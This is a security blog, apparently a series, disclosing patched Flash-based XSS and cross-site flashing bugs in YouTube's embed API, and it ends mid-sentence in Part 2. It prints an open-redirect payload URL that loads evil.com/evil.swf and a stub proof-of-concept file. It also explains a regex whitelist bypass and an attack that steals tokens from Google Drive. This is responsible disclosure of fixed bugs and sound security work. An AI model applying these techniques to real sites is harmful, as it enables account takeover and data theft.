Flash – OpnSec

Advanced Flash vulnerabilities in Youtube – Part 4

Engue Gillier — Wed, 13 Sep 2017 13:51:02 +0000

IV. Flash based XSSes on Youtube iframe api

I’m happy that people found my previous posts on Youtube Flash vulnerabilities interesting, and I will keep posting new write-ups.
This time I will disclose 3 Flash based XSSes on the new Youtube html5 api (with Flash fallback).

Youtube html5 api is called Youtube iframe api, because the entry point is an iframe located at youtube.com/embed/[VIDEO_ID].
When the iframe loads, it will first check if the browser is able to play videos using html5, and if not it will use the Flash fallback. Until recently, it was possible to force the Flash fallback for all browsers using the URL parameter nohtml5=1. This is what we will do here.

Here is the workflow of the Youtube iframe api with Flash fallback:

If you compare with the workflow of the Youtube Flash api in part 1, the Flash file “Youtube Wrapper” has been replaced by the iframe “Youtube Embed”, and consequently Flash to javascript api has been replaced by postMessage api and sharedEvent api has been replaced by Flash to javascript api. This should give you a sense of how Flash and javascript are very similar, only the implementation is different.

Youtube Flash api and Youtube iframe api are so similar that Firefox , Chrome and Safari have implemented an interesting/weird behaviour where any (Youtube Flash api) will be automatically replaced by (Youtube iframe api) where the will actually behave as an iframe. The objective is to force old websites to switch to Youtube iframe api without making any change in the websites themselves.

To trigger a Flash based XSS on youtube.com, you have to either load a Flash file located at youtube.com directly from the address bar, or exploit any Flash file embed in a html page located at youtube.com. Here we will exploit the Flash file “Main App” which is embed in youtube.com/embed, and from there we will execute arbitrary javascript on youtube.com/embed.
When an external website embeds a Youtube iframe, it can send commands to the Youtube iframe using the postMessage api such as playVideo(), pauseVideo(), etc… The Youtube iframe will then transmit the command to the Flash Main App (using the Flash to javascript api).

1. Flash based XSS using loadPlaylist command

One particular command is loadPlaylist() which will make the Youtube iframe load a playlist. The argument of loadPlaylist() can either be a Youtube playlist ID or an array of Youtube video IDs. When using an array of Youtube video IDs, it is possible to inject arbitrary poster (thumbnail) image url for each video.
Loading an image in Flash is similar to loading an external Flash file using Loader.load(), so we could load an arbitrary Flash file using this. Main App checks if the url of the poster image is a youtube.com url and then loads the image. Now you might be aware that Google doesn’t believe that open redirections are security issues! This makes url sanitization very difficult, because you just need to provide a youtube.com url that will redirect to an arbitrary location. I didn’t find an open redirector directly on youtube.com. However, I found a youtube.com url that will redirect to any google.com url. From there it was easy to find an open redirector on google.com that would redirect to evil.com. The full url payload was

https://accounts.youtube.com/accounts/SetSID?continue=https://www.google.com/amp/s/evil.com/evil.swf

Once evil.swf is loaded on youtube.com/embed it can execute arbitrary javascript using the Flash to javascript api, which means XSS on youtube.com!

Note: By default only Flash file located on the same domain than the html host page can use the Flash to javascript api. But in youtube.com/embed/[VIDEO_ID] the Main App tag contains the attribute “allowscriptaccess=always” which means that any Flash file loaded by the Main App will be able to use the Flash to javascript api on youtube.com/embed/[VIDEO_ID]

Here is the workflow of the POC:

evil.com/evil.html source code:

evil.swf source code:

public class Main extends Sprite {

public function Main(){

// Execute arbitrary javascript on youtube.com/embed using ExternalInterface (Flash to javascript api)

ExternalInterface.call("alert", "document.domain + ' XSSed!'");

}

}

Attack Scenario:
Prerequisite: The victim has Flash Player enabled
1. The victim visits evil.com/evil.html
2. evil.html loads youtube.com/embed iframe
3. evil.html sends the loadPlaylist payload
4. youtube.com/embed loads evil.swf
5. evil.swf execute XSS on youtube.com/embed

Mitigation:
Google patched the Main App so that it doesn’t take picture url into account in loadPlaylist arguments.

Timeline:
10/05/2016 Reported to Google
10/11/2016 “Nice catch” and reward
11/09/2016 Bug fixed and verified

2. Flash based XSS using trustedLoader Regex

In addition to public commands like playVideo() or loadPlaylist(), Youtube api has private commands that are available only if the webpage that loads the Youtube iframe is from a verified, trusted origin (like youtube.com or drive.google.com/xxx). To do this, the Main App uses a whitelist stored in a regex. The regex is like this :

public static const trustedLoader:RegExp = new RegExp("^https?://((www\.|encrypted\.)?google(\.com|\.co)?\.[a-z]{2,3}/(search|webhp)\?|24e12c4a-a-95274a9c-s-sites.googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf|www\.gstatic\.com/doubleclick/studio/innovation/h5/layouts/tetris|tpc\.googlesyndication\.com/safeframe/|lightbox-(demos|builder)\.appspot\.com/|([A-Za-z0-9-]{1,63}\.)*(imasdk\.googleapis\.com|corp\.google\.com|borg\.google\.com|docs\.google\.com|drive\.google\.com|googleads\.g\.doubleclick\.net|googleplex\.com|play\.google\.com|prod\.google\.com|sandbox\.google\.com|photos\.google\.com|picasaweb\.google\.com|lh2\.google\.com|plus\.google\.com|books\.googleusercontent\.com|mail\.google\.com|talkgadget\.google\.com|survey\.g\.doubleclick\.net|youtube\.com|youtube\.googleapis\.com|youtube-nocookie\.com|youtubeeducation\.com|vevo\.com)(:[0-9]+)?([\/\?\#]|$))");

Before reading more, you should check the regex yourself and try to find the mistake in it!

“.” (dot) is a wildcard in Regex, which means it will match any character. If you only want to match a literal dot, you have to escape it like this “\.”
In trustedLoader RegExp, we have this code :

24e12c4a-a-95274a9c-s-sites.googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf

where the dots are not escaped. This means that we can replace the dots by any character and it will still match the Regex.
in particular, http://24e12c4a-a-95274a9c-s-sitesAgooglegroups.com/a/google.com/flash-api-test-harness/apiharness.swf will match the regex, and this domain is not owned by Google. It was available so I bought it for 1$! (You could use any alphanumeric character instead of A)
I hosted a html page at http://24e12c4a-a-95274a9c-s-sitesAgooglegroups.com/a/google.com/flash-api-test-harness/apiharness.swf that will load a Youtube iframe and I have access to the private commands of the Youtube api.

Among the private commands there is a function updateVideoData(), that allows you to inject an arbitrary Flash file as a poster image exactly like with loadPlaylist() before. I won’t go into details as the rest of the report is similar to previous one.

Mitigation:
Google patched trustedLoader Regex to properly escape dots like this 24e12c4a-a-95274a9c-s-sites\.googlegroups\.com/a/google\.com/flash-api-test-harness/apiharness\.swf

Timeline:
11/22/2016 Report to Google
11/29/2016 Reward
01/18/2017 Issue fixed and verified

3. Flash based XSS using trustedLoader regex… again!

Let’s have a look at the trustedLoader regex again. There are still problems with it! For example

google(\.com|\.co)?\.[a-z]{2,3}

is not a secure way to check that a domain is a Google owned domain because

google.com.fun

for example will match the regex but is not a Google owned domain.
Let’s take another example:

www\.gstatic\.com/doubleclick/studio/innovation/h5/layouts/tetris

is consider a trusted url. But there are XSSes in other www.gstatic.com webpages, and from there we can execute arbitrary javascript on www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris and then load a Youtube iframe, send a updateVideoData() command and execute XSS on youtube.com/embed.

Let’s make a drawing of the attack workflow:

Technical details:
Prerequisite: The victim has Flash Player and opens www.gstatic.com/charts/motionchart/0/en_GB/tlz-gviz.swf?chartId=[arbitrary javascript]
1. The arbitrary javascript makes www.gstatic.com/charts/motionchart/0/en_GB/tlz-gviz.swf load an iframe at https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris
2-3-4. The arbitrary javascript makes https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris load an iframe at youtube.com/embed
5. The arbitrary javascript sends a updateVideoData() command to Youtube iframe
6. Youtube iframe accepts the command because https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris is a trusted loader, and transmits it to Main App
7. Main App loads arbitrary Flash file (the open redirection was different this time because previous one was fixed)
8. Evil Flash file executes XSS on youtube.com/embed

Mitigation:
Youtube removed the option nohtml5=1 to force the Flash fallback. There are still similar vulnerabilities but they are now limited to browsers that can’t play video using html5. This is typically very old browsers that are out of scope for Bug Bounty programs.

Timeline:
02/02/2017 Report to Google
02/02/2017 “Nice catch” from Eduardo, who also advised me to apply to Google Research Grants program
02/14/2017 Reward
04/11/2017 Issue fixed and verified

Conclusion:
You can see that Flash and javascript are very similar and can be used together or you can replace one by the other. The same is true for Flash security and javascript security, this is why I think it is useful to learn about Flash implementation vulnerabilities in order to build more secure javascript applications (especially when there is a Flash fallback). You can also see that Flash based XSS are very similar to DOM XSSes is the sense that they only reveal during code execution and cannot be caught by Web Application Firewalls, browser based mitigation like XSS auditor or even vulnerability scanners.

Thank you very much for reading, and I also want to thank Google VRP team because you are really doing an amazing work!

In the future I will disclose more mixed javascript/Flash bugs from Youtube, Facebook, WordPress and others, and slowly we will get rid of Flash and I will disclose pure javascript vulnerabilities on those domains.

Advanced Flash Vulnerabilities in Youtube – Part 3

Engue Gillier — Wed, 30 Aug 2017 12:04:52 +0000

III. XSF via loaderinfo.url redefinition

Let’s have a look at how the Main App loads the Modules :

The url of the module is dynamically generated by the main app by using it’s own url (2) and replacing the filename (watch_as3.swf) by the module filename (subtitles.swf) (3). This allows to handle multiple versions on the Main App, each one with it’s own Modules location.

To find it’s own url, the main app uses the loaderinfo.url property of appLoader.

Since appLoader is similar to an in html, appLoader.loaderInfo.url is similar to the “src” attribute of the iframe.

In flash a Loader can load multiple swf files while in html an iframe can only load one window at a time

This means that if appLoader first loads the Main App and then immediately loads another Flash file the loaderinfo.url property of the Main app will not reflect the url of the Main App but instead the url of the other loaded flash file.
POC workflow

We removed Youtube Wrapper and replaced it with Evil Wrapper. Evil Wrapper will first load the Main App (1), and then immediately load another file (Noop.swf) with the same Loader appLoader (2). When the Main app will try to load a Module, it will get the appLoader url value (3) (evil.com/Noop.swf), replace the filename with the module name (evil.com/subtitles.swf) and load an arbitrary Flash file into it own Flash security sandbox (4).

From there Evil Module will be in the Main App Security Sandbox and will appear to be located at s.ytimg.com/[[IMPORT]]/evil.com/subtitles.swf. However, s.ytimg.com is a sandboxed domain which doesn’t have any cookie, CSRF token or webpage to exploit.

In part 2 I introduced URLLoader, which is similar to XHR. You can make cross-domain requests with URLLoader if the remote server has a crossdomain.xml file allowing “s.ytimg.com”

crossdomain.xml mechanism is similar to CORS headers for XHR cross-domain requests in javascript

The good news is that https://www.youtube.com/crossdomain.xml does allow https://s.ytimg.com/. Even more, https://drive.google.com/crossdomain.xml, https://docs.google.com/crossdomain.xml and other google domains also allow https://s.ytimg.com/.

This means that Evil Module can send requests to any URL at youtube.com, drive.google.com and docs.google.com (including POST requests and custom headers) and read the response source code (5).
Attack scenario:
1. The victim is logged in Youtube or Google Drive and has Flash player
2. The victim visits the attacker evil.com/evil.html page which contains a Flash object evil.com/evil.swf
3. The attacker has control over the victim’s Youtube, Google Drive and Google Docs accounts

Impact:
The attacker can steal private information, CSRF tokens and perform any CSRF action on these domains. A very nasty exploit could steal and delete all the victim Google Drive files and then post the POC url on Youtube comments from the victim account to spread the exploit. I won’t provide such POC (I would like to safely return to DefCon next year…) but it would only take about 20 LOC to build it!

Timeline:
09/11/2015 – reported to Google VRP
09/16/2015 – “Nice catch” from Google
09/25/2015 – Temporary mitigation and reward
10/14/2015 – Issue fixed and verified

Conclusion:
When using a sandboxed domain for hosting untrusted applications, like s.ytimg.com, you should always make sure that the sandboxed domain has no privilege on sensitive domains, like crossdomain.xml files, CORS, framing or CSP.

[UPDATED] Part 4 is now online with 3 Flash based XSS on Youtube!

You can also see a live Flash based XSS on twitter here

Advanced Flash Vulnerabilities in Youtube – Part 2

Engue Gillier — Wed, 30 Aug 2017 11:21:40 +0000

II. XSF via appLoader

In Part 1, I introduced an information leakage vulnerability in Youtube. In this part I will disclose a more severe vulnerability that allows arbitrary Flash code execution in youtube.com.
This type of vulnerability is very similar to XSS except we execute Flash code instead of Javascript. It is called Cross-Site Flashing (XSF) or Same-Origin Policy Bypass using Flash.

It will get a little bit more complex, you can read more about Flash security model here.

Let’s have a look at the Youtube Flash Api, this time showing the security sandboxes.

A Loader object can load an external Flash file in 2 ways :

(1) In the normal way, the 2 Flash files are in separate Security Sandboxes (like with in html)

(2) If the loader uses the argument “SecurityDomain.currentDomain“, the loaded Flash file will execute in the loader security sandbox (similar to